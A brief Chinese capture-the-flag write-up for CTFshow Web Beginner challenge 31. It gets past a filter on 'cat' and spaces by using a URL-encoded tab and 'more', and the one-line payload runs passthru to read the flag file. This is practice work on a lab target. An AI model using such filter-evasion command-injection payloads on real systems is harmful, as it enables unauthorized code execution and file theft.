CTFshow WEB入门31

在WEB30的基础上额外过滤了cat与空格
想个办法绕过
借用Pur3师傅的绕过姿势
以TAB代替空格，用more代替cat
payload：?c=passthru("more%09fl*");